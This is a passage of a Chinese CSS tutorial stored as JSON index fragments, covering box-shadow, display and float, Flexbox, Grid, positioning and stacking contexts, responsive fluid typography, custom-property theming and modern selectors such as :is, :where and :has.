box-shadow。",{"id":130321,"title":122328,"titles":130322,"content":130323,"level":357},"\u002Ftutorials\u002Fcss#box-shadow-的四个可省参数",[108416,111224],"语法 inset? offset-x offset-y blur? spread? color。模糊半径为 0 时得到硬阴影，做复古\u002F新粗野风格；inset 得到内阴影，可当描边；一个选择器里可以叠多层： .tile { box-shadow: inset 0 0 0 1px #d0d7de; }              \u002F* 不占布局的 1px 描边 *\u002F\n.pop  { box-shadow: 0 1px 3px rgba(0,0,0,.12), 0 8px 24px rgba(0,0,0,.14); }  \u002F* 近处锐利 + 远处扩散 *\u002F 两层阴影是「像真的」的关键：只有一层大模糊的阴影看起来发灰，像蒙了雾。同理，暗色主题下阴影几乎看不见，应改用更亮的边框表达层次，而不是加深阴影。 性能：box-shadow 的动画代价高（要重绘），需要动效时改为「阴影写在伪元素上、动它的 opacity」（第十八章）。",{"id":130325,"title":112070,"titles":130326,"content":130327,"level":357},"\u002Ftutorials\u002Fcss#焦点可见性不是装饰是合规",[108416,111224],":focus-visible { outline: 3px solid var(--c-primary); outline-offset: 2px; } outline: none 单独出现就是可访问性缺陷；要么保留默认焦点环，要么换一条足够明显的替代样式。:focus-visible 与 :focus 的区别（只在键盘导航时显示焦点环）见第十五章。",{"id":130329,"title":122331,"titles":130330,"content":314,"level":341},"\u002Ftutorials\u002Fcss#九display可见性与-float历史与今天的分工",[108416],{"id":130332,"title":122334,"titles":130333,"content":130334,"level":357},"\u002Ftutorials\u002Fcss#block-inline-inline-block",[108416,122331],"display 决定元素参与哪一种布局算法，而不是「是否可见」。三种最基础的： 常见标签 宽高 垂直 margin 独占一行 block div p section li 生效 生效（会塌陷） 是 inline a span b code img input 无效 无效 否 inline-block 按钮、徽章、图标 生效 生效（不塌陷） 否 行内元素「设了宽高没反应」是初学者最常见的困惑，正确答案通常是把它变成 inline-block，或者更好的是——给父级写 display: flex（第十章），让子项自动获得块级尺寸能力。 inline-block 之间那道缝来自 HTML 源码里的换行符被当作空白渲染。font-size: 0、写成一行、或者用 Flex 都能消掉，其中用 Flex 是唯一没有副作用的。",{"id":130336,"title":112273,"titles":130337,"content":130338,"level":357},"\u002Ftutorials\u002Fcss#三种看不见的代价完全不同",[108416,122331],"写法 是否占位 是否可交互 读屏能否念到 能否做过渡 display: none 不占 否 否（移出可访问性树） 否 visibility: hidden 占位 否 否 可（离散切换） opacity: 0 占位 是（仍可点，注意误触） 是 是（首选动画属性） 选择依据： 需要淡入淡出 → opacity 配 visibility，动画结束后再用 visibility: hidden 彻底移出： .popover { opacity: 0; visibility: hidden; transition: opacity .18s ease, visibility .18s; }\n.popover.is-open { opacity: 1; visibility: visible; }\n只是不想出现在布局里 → display: none，但它会打断过渡； 视觉隐藏但对读屏保留（例如「已选中」状态、图例说明）用 .sr-only 那套绝对定位 + clip-path 的写法，不要用 opacity: 0（会被读出但也可被点击）或 display: none（读不到）。",{"id":130340,"title":122337,"titles":130341,"content":130342,"level":357},"\u002Ftutorials\u002Fcss#float它唯一被设计出来的用途是文字环绕",[108416,122331],"float 让元素脱离正常流并贴到一侧，后续行内内容绕着它排——这是报纸版面需求。今天仍然该用 float 的只有一种场景：图文环绕（首图在段落左上，文字绕排）。Flex\u002FGrid 做不到绕排。 副作用则是所有人都熟悉的「父容器高度塌陷」：浮动元素不撑高父级，父级后面的内容会被压上来。四种清除方式： .clearfix::after { content: \"\"; display: block; clear: both; }  \u002F* 传统 *\u002F\n.parent { overflow: hidden; }    \u002F* 顺带创建 BFC，但会裁掉溢出内容 *\u002F\n.parent { display: flow-root; }  \u002F* 语义最准确、无副作用的现代写法 *\u002F 两列\u002F三列布局、等高卡片、导航条——这些历史上用 float + 负 margin 完成的事情，现在都归 Flex 与 Grid。float 还剩一个合理去处是 HTML 邮件（客户端 CSS 支持极差）。",{"id":130344,"title":112578,"titles":130345,"content":130346,"level":357},"\u002Ftutorials\u002Fcss#bfc-顺手解决边距塌陷",[108416,122331],"块级格式化上下文（BFC）是一个「内部布局与外界隔离」的盒子。它不影响外部 margin 塌陷，但父容器一旦成为 BFC，子的 margin-top 就不再穿透。触发条件（任一即可）：float、position: absolute\u002Ffixed、display: flow-root\u002Finline-block\u002Ftable-cell\u002Fflex\u002Fgrid、overflow 非 visible、contain: paint。 不用背——遇到「margin 莫名跑到父元素上」时，给父容器加 display: flow-root 即可。",{"id":130348,"title":122340,"titles":130349,"content":130350,"level":357},"\u002Ftutorials\u002Fcss#其余-display-值速查",[108416,122331],"grid \u002F flex 是布局算法（第十、十一章）；inline-flex、inline-grid 是它们的行内版本；table \u002F table-cell 仍是不定高内容垂直居中最省事的办法（虽然语义上应该用 Flex）；contents 让盒子自身「消失」、子元素直接参与父级布局，方便但会丢掉该元素自身的背景与边框，并曾引发展示与可访问性问题，谨慎使用。列表 ul 上写 list-style: none 会让 Safari\u002FVoiceOver 不再播报列表语义，需要用 role=\"list\" 补回（这条属于 HTML 教程第十七章的可访问性清单）。",{"id":130352,"title":112656,"titles":130353,"content":130354,"level":341},"\u002Ftutorials\u002Fcss#十flexbox从主轴到实战",[108416],"一维布局（一行或一列）交给 Flex。它的模型只有一个概念需要真正理解：主轴与交叉轴，而这两根轴会随 flex-direction 旋转——这也是 Flex 最大的困惑来源。",{"id":130356,"title":112675,"titles":130357,"content":130358,"level":357},"\u002Ftutorials\u002Fcss#主轴与交叉轴属性名分两套",[108416,112656],"justify-* 永远管主轴，align-* 永远管交叉轴。direction: row 时 justify 是水平、align 是垂直；改成 column 后两者表现整体旋转 90°。判断方法只有一个：先确认主轴方向，再决定该写 justify 还是 align。 flex-direction 四个值：row（默认）、row-reverse、column、column-reverse。*-reverse 只反转视觉顺序，DOM 顺序、Tab 焦点顺序、读屏顺序都不变——这会造成「看到的顺序与听到的顺序不一致」，属于可访问性风险，能用 DOM 顺序解决就别反转。 justify-content 的五个常用值只有在容器有剩余空间时才有区别：flex-start、center、flex-end、space-between（两端贴边）、space-around \u002F space-evenly（首尾也留空隙，后者所有空隙严格相等）。 align-items 有 stretch（默认，需子项不设高度）、flex-start、center、flex-end、baseline。字号不同的两项并排时 baseline 比 center 更整齐。单个子项要叛逆时用 align-self。",{"id":130360,"title":122345,"titles":130361,"content":130362,"level":357},"\u002Ftutorials\u002Fcss#gap容器间距的正确写法",[108416,112656],".list { display: flex; gap: 12px 20px; }   \u002F* 行间距 列间距 *\u002F gap 只加在相邻项之间，首尾不多出空白，因此从此不需要 :last-child { margin-right: 0 }。子项换行时（flex-wrap）行与行之间的间距同样由它管。Flex、Grid、多列 column-* 都支持 gap。",{"id":130364,"title":122347,"titles":130365,"content":130366,"level":357},"\u002Ftutorials\u002Fcss#flex-grow-flex-shrink-flex-basis",[108416,112656],"三个属性分别管三件事： flex-grow：容器有剩余空间时按份数分给谁。分的是剩余空间，不是总宽度——所以两个 grow: 1 的项如果内容宽度不同，最终宽度也不相等。 flex-shrink：容器不够宽时谁让步（默认 1）。实际收缩量按 shrink × basis 加权，不是按数字直接分。不想被压的（图标、关闭按钮、固定侧栏）写 flex-shrink: 0。 flex-basis：伸缩的起点尺寸，优先级高于 width（在主轴方向上）。 flex 简写有四个必须记住的展开： 写法 展开 意图 flex: 1 1 1 0% 严格等宽（basis 是 0，忽略内容宽度） flex: auto 1 1 auto 按内容比例分配剩余，能长能缩 flex: initial 0 1 auto 默认值：不生长，但会被压缩 flex: none 0 0 auto 完全固定 「等宽但内容长的那一项溢出」通常是误用了 flex: auto；「固定 240px 侧栏」的正确写法是 flex: 0 0 240px（或 flex-basis: 240px; flex-shrink: 0），只写 width: 240px 会被压缩。",{"id":130368,"title":122349,"titles":130369,"content":130370,"level":357},"\u002Ftutorials\u002Fcss#flex-wrap-与-order",[108416,112656],"flex-wrap: wrap 让子项放不下时换行，配合 flex-basis 就是最省事的响应式标签云\u002F工具条： .tags { display: flex; flex-wrap: wrap; gap: 8px; } order 只改视觉顺序（默认 0，可负），典型用途是「DOM 按语义写、移动端把主内容提到前面」。风险与 *-reverse 相同：Tab 顺序跟着 DOM 走，键盘用户会跳来跳去。",{"id":130372,"title":122351,"titles":130373,"content":130374,"level":357},"\u002Ftutorials\u002Fcss#最经典的坑min-width-不是-0",[108416,112656],"Flex 子项的自动最小尺寸是 min-content，因此子项无法被压缩到内容宽度以下。这直接导致「text-overflow: ellipsis 在 flex 子项里不生效」这个高频问题： .row { display: flex; }\n.row .side { flex-shrink: 0; }        \u002F* 图标\u002F按钮不让步 *\u002F\n.row .text { min-width: 0; }          \u002F* 关键：允许收缩到内容以下，省略号才生效 *\u002F\n.row .text span { white-space: nowrap; overflow: hidden; text-overflow: ellipsis; } 同一类问题在嵌套 Flex、Grid 子项（1fr 的下限是 auto）里都会出现，写 minmax(0, 1fr) 或 min-width: 0。纵向（column）时对应的是 min-height: 0，否则子项会撑破滚动容器。",{"id":130376,"title":113209,"titles":130377,"content":130378,"level":357},"\u002Ftutorials\u002Fcss#三个高频实战配方",[108416,112656],"\u002F* 居中：完全居中一行 *\u002F  .c { display: flex; align-items: center; justify-content: center; }\n\u002F* 工具条：左标题右操作 *\u002F .bar { display: flex; justify-content: space-between; align-items: center; gap: 12px; }\n\u002F* 吸底页脚 *\u002F            body { min-height: 100svh; display: flex; flex-direction: column; } main { flex: 1; } 等高卡片靠 align-items: stretch（Flex 的默认值）自动实现，卡片内部把页脚写成 margin-top: auto 或给它 flex: 1 吃掉中间空白，就能「底部对齐」。这是 Flex 比 float 简单得多的地方。",{"id":130380,"title":113361,"titles":130381,"content":113364,"level":341},"\u002Ftutorials\u002Fcss#十一grid从网格轨道到自适应布局",[108416],{"id":130383,"title":122356,"titles":130384,"content":130385,"level":357},"\u002Ftutorials\u002Fcss#grid-template-columns-与-fr",[108416,113361],".g { display: grid; grid-template-columns: 200px 1fr 1fr; gap: 16px; } fr 是剩余空间的等份，只在 grid-template-* 里可用（写成 width: 1fr 无效）。2fr 1fr 是二比一，但比例算的是扣掉固定轨道与 gap 之后的剩余空间，所以固定列宽变化时比例看起来会变，这是正常的。 repeat(12, 1fr) 是简写；repeat(3, minmax(0, 1fr)) 是防御性写法（理由见上一章的 min-content 问题）；grid-template-columns: [侧栏] 240px [主区] 1fr 给轨道命名，子项就能写 grid-column: 侧栏。 行也一样：grid-template-rows 描述你写明的轨道，超出的部分进入隐式轨道，尺寸由 grid-auto-rows 决定（默认 auto），排布方向由 grid-auto-flow（row \u002F column \u002F dense）控制。",{"id":130387,"title":113501,"titles":130388,"content":130389,"level":357},"\u002Ftutorials\u002Fcss#命名区域把布局写成-ascii-图",[108416,113361],".page {\n  display: grid;\n  grid-template-columns: 216px minmax(0, 1fr) 232px;\n  grid-template-rows: 48px 1fr 40px;\n  grid-template-areas:\n    \"head head head\"\n    \"nav  main aside\"\n    \"foot foot foot\";\n}\nheader { grid-area: head; }\nmain   { grid-area: main; } 这是 Grid 比 Flex 更适合「整页骨架」的原因：响应式换布局只需重写 grid-template-areas 那几行，HTML 与子项选择器一行不动。约束是区域名组成的矩形必须完整（不能有 L 形空洞），否则整条声明静默失效；空格子用 . 表示。 本站教程详情页的三栏（左目录 \u002F 正文 \u002F 右目录）就是这个思路——只是用 max-width 媒体查询把三栏收成单栏，并让左栏变成横向滚动的 chip 条。",{"id":130391,"title":113652,"titles":130392,"content":130393,"level":357},"\u002Ftutorials\u002Fcss#跨行跨列数的是线",[108416,113361],"N 条线围成 N-1 个格子，所以「占第 2、3 列」写作 grid-column: 2 \u002F 4。-1 是最后一条线，grid-column: 1 \u002F -1 就是横跨整行——写整行标题、整行页脚最常用。 grid-area 的四值顺序是 行开始 \u002F 列开始 \u002F 行结束 \u002F 列结束（与 margin 的顺时针一样）。grid-column: span 3 让自动放置决定起点，比写死线号更适合响应式（断点变化时线号会全部错位）。",{"id":130395,"title":122360,"titles":130396,"content":130397,"level":357},"\u002Ftutorials\u002Fcss#一行代码的响应式minmax-auto-fit-auto-fill",[108416,113361],".cards {\n  display: grid;\n  grid-template-columns: repeat(auto-fit, minmax(min(240px, 100%), 1fr));\n  gap: 16px;\n} auto-fit 与 auto-fill 的差别只在末尾有没有空轨道：auto-fill 保留算出来但没内容的轨道（卡片会显得靠左一小堆），auto-fit 把空轨道压成 0，让现存卡片继续伸展铺满。内容少又要「铺满」用 auto-fit；内容多、希望网格始终对齐用 auto-fill。 min(240px, 100%) 里那个 100% 是防窄屏横向滚动条的：容器比 240px 还窄时，minmax 的下限会强行撑破容器。 这套写法能替掉大量「卡片墙 \u002F 图库 \u002F 相关列表」的媒体查询——按内容自身宽度决定断点，比按设备宽度更稳。",{"id":130399,"title":122362,"titles":130400,"content":130401,"level":357},"\u002Ftutorials\u002Fcss#subgrid让子卡片共享外层轨道",[108416,113361],".panel { display: grid; grid-row: span 3; grid-template-rows: subgrid; } 跨的格子不再是「自己的轨道」而是复用父网格的，于是每张卡片的标题行、正文行、按钮行严格对齐——以前要每张卡硬写行高才能做到的事。浏览器基线：subgrid 需要较新的内核（Firefox 71 \u002F Chrome 117 \u002F Safari 16 一线），旧内核会退化成普通 Grid 而不破坏内容；上线前请以 caniuse 当前数据为准，并配 @supports (grid-template-rows: subgrid) 做渐进增强（第二十章）。",{"id":130403,"title":113867,"titles":130404,"content":130405,"level":357},"\u002Ftutorials\u002Fcss#grid-的三套对齐属性",[108416,113361],"justify-items \u002F align-items：格子内部内容在水平\u002F垂直的位置；place-items 是两者简写（display: grid; place-items: center; 是最短的完全居中）； justify-content \u002F align-content：整个网格轨道在容器里的分布（有剩余空间才看得出）； justify-self \u002F align-self：单个子项叛逆。 Flex 只有 align-items\u002Fjustify-content 这一套；Grid 因为有两个明确的轴向，同名属性含义不同（Grid 的 justify-* 管水平、align-* 管垂直）。这正是「同一行 CSS 在两种布局下表现不同」的来源，别混着记。",{"id":130407,"title":113922,"titles":130408,"content":130409,"level":357},"\u002Ftutorials\u002Fcss#常见坑速查",[108416,113361],"现象 原因与修法 设了 1fr 仍横向溢出 1fr 下限是 auto（= min-content）→ 写 minmax(0, 1fr) 子项 height: 100% 不生效 用 grid-template-rows 或依赖默认的 align-items: stretch，别猜父高 四周空白不对称 四周来自容器 padding，gap 只管轨道之间 auto-fit 把卡片拉得很宽 给上限：minmax(240px, 320px)，外层再 justify-content: center 子项叠在同一格 忘记 gap 或显式写了相同的 grid-area（Grid 允许重叠，做叠层时是特性）",{"id":130411,"title":114017,"titles":130412,"content":130413,"level":341},"\u002Ftutorials\u002Fcss#十二定位与层叠上下文",[108416],"position 决定元素相对谁偏移；z-index 只在同一个层叠上下文内比大小。这两条理解到位，「弹层被挡住」「absolute 跑到左上角」之类的排错时间能砍掉一半。",{"id":130415,"title":122368,"titles":130416,"content":130417,"level":357},"\u002Ftutorials\u002Fcss#五种-position-的差别在参考系",[108416,114017],"值 参考系 是否脱离文档流 典型用途 static —（top\u002Fleft 完全无效） 否 默认 relative 自身正常位置 否（原空间保留） 给子绝对定位当锚点、微调图标 absolute 最近的已定位祖先 是 徽标、下拉、遮罩 fixed 视口（祖先有 transform 类属性时改变） 是 吸底按钮、对话框 sticky 滚动容器 + 自身所在区块范围 否 表头、分区标题、吸附导航 sticky 失效的三个常见原因：没写 top 等偏移值、某个祖先设了 overflow（改变了滚动容器）、父容器高度不足以容纳滑动范围（吸附不了几像素就跟着走了）。top 在有吸顶页头的站点里通常要写成 var(--header-h)，否则会被盖住——本站左右目录栏正是用 position: sticky + top 与页头高度联动。 表格 \u003Cthead> 也能 sticky，但需要 border-collapse: separate（合并边框时边框不跟随）。",{"id":130419,"title":122370,"titles":130420,"content":130421,"level":357},"\u002Ftutorials\u002Fcss#inset-简写与三种绝对居中",[108416,114017],"inset: 8px 12px auto auto 是 top right bottom left，顺序与 margin 一致。绝对居中三种写法： \u002F* 一：Grid（推荐） *\u002F .wrap { display: grid; place-items: center; }\n\u002F* 二：transform（不要求父级尺寸） *\u002F .m { position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%); }\n\u002F* 三：inset + auto margin（要求固定宽高） *\u002F .m { position: absolute; inset: 0; margin: auto; width: 120px; height: 40px; } translate(-50%, -50%) 的百分比相对自身尺寸，这是它能在不知宽高时居中的原因。",{"id":130423,"title":122372,"titles":130424,"content":130425,"level":357},"\u002Ftutorials\u002Fcss#z-index只在自己的层叠上下文里比大小",[108416,114017],"z-index 只在同一个层叠上下文内有意义。父级一旦形成层叠上下文，子级写 z-index: 9999 也出不去——它只能在那个盒子内部称王，外面一个 z-index: 2 的兄弟就能盖住它。 创建层叠上下文的条件（任一成立）： position 非 static 且 z-index 非 auto（最常见的来源）； opacity 小于 1； transform \u002F filter \u002F backdrop-filter \u002F perspective \u002F mask 相关属性； will-change 里声明了上述任一属性； isolation: isolate（专门用来创建上下文的属性，语义最干净）； position: fixed； Flex \u002F Grid 子项的 z-index 非 auto； contain: paint \u002F content-visibility 等生成独立绘制层的属性。 排错顺序固定：① 从目标元素往上找最近的层叠上下文祖先；② 只在这一层里比 z-index；③ 需要「跳出去」时，要么去掉祖先的 transform\u002Ffilter，要么把浮层挂到更外层的容器（或用原生 \u003Cpopover>、position: fixed）。 数值请建自己的刻度而不是 9999：10 下拉、50 遮罩、100 对话框、200 toast。当所有人都写 9999 时，任何一层都赢不了。 顺带区分两件事：层叠上下文（本节的几何\u002F属性问题）与层叠层级（@layer，第十六章的声明顺序问题）名字相近，机制完全无关。",{"id":130427,"title":122374,"titles":130428,"content":130429,"level":357},"\u002Ftutorials\u002Fcss#fixed-会被祖先抢走",[108416,114017],"祖先一旦有 transform \u002F filter \u002F perspective \u002F backdrop-filter \u002F will-change \u002F contain: paint，fixed 的参考系就从视口变成那个祖先，表现为「弹窗跟着页面乱跑」。动画里给祖先加 transform 时尤其容易碰上。",{"id":130431,"title":114521,"titles":130432,"content":130433,"level":357},"\u002Ftutorials\u002Fcss#实战配方",[108416,114017],"\u002F* 下拉菜单 *\u002F .dd { position: relative; } .dd-menu { position: absolute; top: calc(100% + 4px); left: 0; }\n\u002F* 徽标 *\u002F .badge-wrap { position: relative; } .badge { position: absolute; top: -6px; right: -6px; }\n\u002F* 遮罩 *\u002F .mask { position: fixed; inset: 0; background: rgb(0 0 0 \u002F .5); z-index: 50; } 下拉要同时写 :hover 和 :focus-within，否则键盘用户打不开。弹出层靠近视口边缘被裁掉时，用 position: fixed + 定位 API，或直接改用原生 \u003Cpopover> \u002F anchor()（仍在演进，见 HTML 教程第十三章）。",{"id":130435,"title":114714,"titles":130436,"content":130437,"level":341},"\u002Ftutorials\u002Fcss#十三响应式与流式排版能连续变化的就别用断点",[108416],"响应式的目标不是「适配三种手机」，而是任何宽度都不破。做法上分两层：能用连续函数解决的（字号、间距、卡片列数）用流式；真的需要结构切换时（三栏变一栏、导航变汉堡）才用媒体查询。",{"id":130439,"title":114729,"titles":130440,"content":130441,"level":357},"\u002Ftutorials\u002Fcss#断点跟着内容走不跟着机型走",[108416,114714],"把浏览器从 320px 慢慢拉宽，在哪里变丑就在哪里设断点——通常 2 到 4 个就够。照抄某个框架的 576\u002F768\u002F992\u002F1200 能用，但那些数字与你的内容无关。 单位建议写 rem（min-width: 40rem）而不是 px：用户放大根字号时媒体查询会提前触发，避免文字溢出。 新语法支持范围表达式，读起来更直观： @media (40rem \u003C= width \u003C= 60rem) { … }   \u002F* 等价于 min-width 与 max-width 的 and 组合 *\u002F\n@media (min-width: 60rem), (orientation: landscape) { … }   \u002F* 逗号 = or *\u002F",{"id":130443,"title":122380,"titles":130444,"content":130445,"level":357},"\u002Ftutorials\u002Fcss#移动优先默认写窄屏逐级-min-width-增强",[108416,114714],".layout { display: grid; gap: 12px; }                        \u002F* 默认：单列，不包在媒体查询里 *\u002F\n@media (min-width: 40rem) { .layout { grid-template-columns: 1fr 1fr; } }\n@media (min-width: 60rem) { .layout { grid-template-columns: 200px 1fr 200px; } } 好处是基础样式就是最小屏样式，逐级叠加；反过来的桌面优先（默认给桌面、逐级 max-width 降级）容易漏掉基础样式，也让覆盖关系变成「后写的规则更弱」，与维护成本相悖。",{"id":130447,"title":114936,"titles":130448,"content":130449,"level":357},"\u002Ftutorials\u002Fcss#不只是宽度这些也属于媒体查询",[108416,114714],"特性查询 用途 prefers-color-scheme: dark 跟随系统深浅色（本站用 html[data-theme] 手动切换，见第十四章） prefers-reduced-motion: reduce 关闭\u002F收敛动效，必须提供（第十八章） hover: hover and pointer: fine 只给鼠标设备写 hover 效果，避免触屏「点一下卡在 hover 态」 orientation \u002F aspect-ratio 横竖屏、宽高比 display-mode: standalone PWA 已安装态 forced-colors: active Windows 高对比模式，需要专门准备描边 print 打印：隐藏导航、展开折叠内容、break-inside: avoid、给外链补真实地址 全站级降级写法（可接受，但更好的做法是逐条设计静态替代方案）： @media (prefers-reduced-motion: reduce) {\n  *, *::before, *::after { animation-duration: .01ms !important; animation-iteration-count: 1 !important; transition-duration: .01ms !important; }\n}",{"id":130451,"title":122383,"titles":130452,"content":130453,"level":357},"\u002Ftutorials\u002Fcss#流式排版clamp-min-max",[108416,114714],"clamp(最小, 理想, 最大) 让数值随视口连续变化： h1 { font-size: clamp(1.5rem, 1.06rem + 2.2vw, 3rem); }\nsection { padding-block: clamp(24px, 4vw, 64px); gap: clamp(8px, 1.5vw, 20px); } 理想值必须是带视口单位的表达式才会真的流动（只写单值就退化成 min\u002Fmax 选择）。斜率换算：(最大px − 最小px) ÷ (最大视口px − 最小视口px) × 100，基准 = 最小px − 斜率 × 最小视口px ÷ 100。 min() \u002F max() 常一行替掉一条媒体查询： .wrap { width: min(100% - 2rem, 68rem); margin-inline: auto; }   \u002F* 上限 68rem，窄屏自动留边距 *\u002F\n.gutter { padding-inline: max(1rem, env(safe-area-inset-left)); }  \u002F* 刘海屏安全区 *\u002F",{"id":130455,"title":122385,"titles":130456,"content":130457,"level":357},"\u002Ftutorials\u002Fcss#aspect-ratio-与-object-fit图片适配的两个正交属性",[108416,114714],"aspect-ratio: 16 \u002F 9 让盒子保持比例（取代 padding-top: 56.25% 那套 hack）；object-fit 让替换元素的内容在这个盒子里如何被裁： 值 行为 用途 fill 默认，拉伸变形 几乎不用 contain 完整显示，可能留白 logo、截图、图表 cover 铺满并裁切 等尺寸缩略图、卡片封面 none 原尺寸居中裁 图标 scale-down none 与 contain 中取较小的 大图不放大 配 object-position: right top 指定裁切时保留哪一侧（人像图常用 center 25% 保住脸）。卡片封面的标准配方就是两者相加：aspect-ratio: 16 \u002F 9 + object-fit: cover——本站教程入口卡片正是这个写法，所以三张 16:9 的封面 SVG 放进去不会被裁掉内容。 还有一条防布局抖动的规则（CLS）：\u003Cimg> 必须写 width\u002Fheight 属性，配合 img { max-width: 100%; height: auto; }，比例由 HTML 属性提供、尺寸由 CSS 限制。",{"id":130459,"title":115484,"titles":130460,"content":115487,"level":341},"\u002Ftutorials\u002Fcss#十四自定义属性与主题化",[108416],{"id":130462,"title":115495,"titles":130463,"content":130464,"level":357},"\u002Ftutorials\u002Fcss#声明与读取两条语法",[108416,115484],":root { --brand-500: #0969da; --radius-3: 10px; --space-3: 16px; }\n.btn { background: var(--brand-500); border-radius: var(--radius-3); padding: var(--space-3); } 它与预处理器变量的本质区别：预处理器变量在编译期被替换成常量，自定义属性在渲染期按元素逐个求解。所以它是活的——会继承、会被就近覆盖、能被 JS 在运行时改，也能被媒体查询改写。",{"id":130466,"title":115589,"titles":130467,"content":130468,"level":357},"\u002Ftutorials\u002Fcss#命名与作用域",[108416,115484],"命名建议「类别-语义-刻度」：--text-1、--bg-2、--brand-500、--space-3、--radius-2。反面例子是 --blue 和 --big：这类「描述外观」的名字在换主题时会立刻失效（暗色下那个蓝已经不是你写的蓝），而描述意图的名字只需要改取值。 作用域由声明它的那个选择器决定： 写在 :root → 全站可见； 写在组件类上 → 只有该子树可见； 写在 @media 里 → 响应式变量（本站的 --header-h 就随窄屏变化）； 写在元素的内联 style 上 → 只有这一个元素及其后代可见，也是「使用方定制组件」的入口。",{"id":130470,"title":122391,"titles":130471,"content":130472,"level":357},"\u002Ftutorials\u002Fcss#var-的回退值与无效行为",[108416,115484],".x { color: var(--maybe, blue); }          \u002F* 变量不存在时用回退值 *\u002F\n.y { padding: var(--a, var(--b, 8px)); }   \u002F* 回退可以嵌套 *\u002F\n.z { width: calc(var(--w, 100px) * 2); }   \u002F* 回退参与计算 *\u002F 变量未定义且没给回退时，整条声明在该元素上被视为无效（相当于回到继承值或初始值），不会报错、不会崩溃——所以「变量拼错」的表现是样式静默丢失，排查要看 Computed 面板。 一个必须知道的特例：用 @property 注册过的变量有「guaranteed-invalid」之外的初值语义，值为空时行为与未定义不同；未注册的变量请一律给回退值。",{"id":130474,"title":115779,"titles":130475,"content":130476,"level":357},"\u002Ftutorials\u002Fcss#主题化只改变量一条规则都不动",[108416,115484],":root { --bg-1: #fff; --text-1: #24292f; --brand-500: #0969da; color-scheme: light; }\nhtml[data-theme='dark'] { --bg-1: #0d1117; --text-1: #e6edf3; --brand-500: #6aa8ff; color-scheme: dark; } 三件配套事项： 写 color-scheme：一行让浏览器的默认控件、滚动条、表单底色、高亮色一起切换，成本极低； 暗色下品牌色要重新调：降饱和、提明度（#0969da → #6aa8ff）。深蓝底配高饱和原色会「发光」刺眼；简单取反（黑底白字）也不是好主题； 切换与持久化：JS 改 \u003Chtml> 的 data-theme，把选择存进 localStorage，并在首屏绘制前用一段内联脚本应用，否则会闪一下浅色（FOUC）。 本站就是这一套：main.css 里 html[data-theme='dark'] 覆盖同一批变量名，所有组件的规则完全不用改。 如果你更希望跟随系统而不是手动切换，把选择器换成 @media (prefers-color-scheme: dark)（第十三章）；两者可以共存：先按系统给默认值，再用 data-theme 让用户覆盖。",{"id":130478,"title":115932,"titles":130479,"content":130480,"level":357},"\u002Ftutorials\u002Fcss#组件级变量把变量当公共-api",[108416,115484],".badge { --badge-bg: #eaeef2; --badge-fg: #24292f; background: var(--badge-bg); color: var(--badge-fg); } 使用方不需要新增类名、不需要 !important，只要给祖先或自身设变量就能定制： \u003Cspan class=\"badge\" style=\"--badge-bg:#ddf4ff\">定制色\u003C\u002Fspan>\n\u003Cdiv class=\"zone\">\u003C!-- 这里的 badge 全部换色 -->\u003C\u002Fdiv> 这比「写十个修饰类」更可组合，尤其适合图表、卡片、主题色块一类需要按数据着色的组件。",{"id":130482,"title":116053,"titles":130483,"content":130484,"level":357},"\u002Ftutorials\u002Fcss#用变量驱动计算与响应式",[108416,115484],".grid-auto { --cols: 3; grid-template-columns: repeat(var(--cols), 1fr); gap: var(--space-3); }\n.bar { --pct: 62%; } .bar > i { width: var(--pct); }\n@media (max-width: 40rem) { :root { --cols: 1; --space-3: 12px; --header-h: 96px; } } 把「断点决定的一组尺寸」集中成变量，比在每个规则里重复写媒体查询干净得多——这也是本站把吸顶高度写成 --header-h 并在滚动判定里读取的原因。",{"id":130486,"title":116205,"titles":130487,"content":130488,"level":357},"\u002Ftutorials\u002Fcss#用-js-读写变量",[108416,115484],"getComputedStyle(el).getPropertyValue('--brand-500').trim();   \u002F\u002F 读解析后的值\nel.style.setProperty('--pct', '80%');                          \u002F\u002F 写（只影响这棵子树）\nel.style.removeProperty('--pct');                              \u002F\u002F 删内联值，落回样式表 反过来「JS 把状态传给 CSS」也用它，比切一堆类名更可组合： \u003Cdiv style=\"--index: 3\">…\u003C\u002Fdiv> .item { transition-delay: calc(var(--index) * 60ms); } 一个限制：变量本身不能被平滑过渡（浏览器不知道该按什么规则插值）。要动画变量，先用 @property 注册语法类型： @property --pct { syntax: \"\u003Cpercentage>\"; inherits: false; initial-value: 0%; }\n.bar > i { width: var(--pct); transition: --pct .6s ease; }   \u002F* 现在可动画了 *\u002F 浏览器基线：@property 在 Chrome 85 \u002F Safari 16.4 \u002F Firefox 128 一线支持，属渐进增强能力，不支持时过渡静默退化为跳变，布局不受影响；落笔前请以 caniuse 当前数据为准。",{"id":130490,"title":116439,"titles":130491,"content":130492,"level":357},"\u002Ftutorials\u002Fcss#常见误区速查",[108416,115484],"误区 事实 变量是常量 按元素逐个求解，会继承、会被就近覆盖 值只能是颜色或长度 可以是任意 token 序列，包括整串阴影值 calc() 里可以随便乘变量 长度计算要求带单位，纯数字变量要写成 calc(var(--n) * 1px) 循环引用会崩 相关声明静默无效（不报错，但很难查） 变量性能差 解析成本可忽略，别为了「少几个变量」放弃主题化",{"id":130494,"title":116502,"titles":130495,"content":116505,"level":341},"\u002Ftutorials\u002Fcss#十五现代选择器与函数少写权重少写类名",[108416],{"id":130497,"title":122400,"titles":130498,"content":130499,"level":357},"\u002Ftutorials\u002Fcss#is-与-where把选择器体积收敛掉",[108416,116502],"\u002F* 展开写法：4 个前缀 × 3 个后缀 = 12 条 *\u002F\n.card .title, .card .meta, .panel .title, .panel .meta { … }\n\u002F* 收敛写法：一条 *\u002F\n:is(.card, .panel) :is(.title, .meta) { … } 两者唯一的但关键的差别是权重： :is(A, B) 的权重 = 参数里最高的那个； :where(A, B) 的权重 = 0。 所以给组件写「默认样式」时用 :where()（使用方随手就能覆盖，不需要 !important），需要强调时用 :is()。 解析风险必须知道：:is() \u002F :where() 参数里出现浏览器无法解析的选择器片段，会导致整条规则被丢弃。因此不要把「很新的选择器」塞进它们的参数里当降级方案——那种情况请用 @supports（第二十章）或独立规则。",{"id":130501,"title":122402,"titles":130502,"content":130503,"level":357},"\u002Ftutorials\u002Fcss#has真正的父向选择器",[108416,116502],".item:has(input:checked) { border-color: #0969da; }   \u002F* 状态上移到容器 *\u002F\n.card:has(img) { padding-top: 0; }                    \u002F* 有封面图的卡片去掉顶部留白 *\u002F\nli:has(> ul) { font-weight: 700; }                    \u002F* 「有子列表」的项加粗 *\u002F\nbody:has(#search:focus) .hero { opacity: .35; }       \u002F* 页面级联动，谨慎使用 *\u002F 参数里还能写相对关系：:has(+ 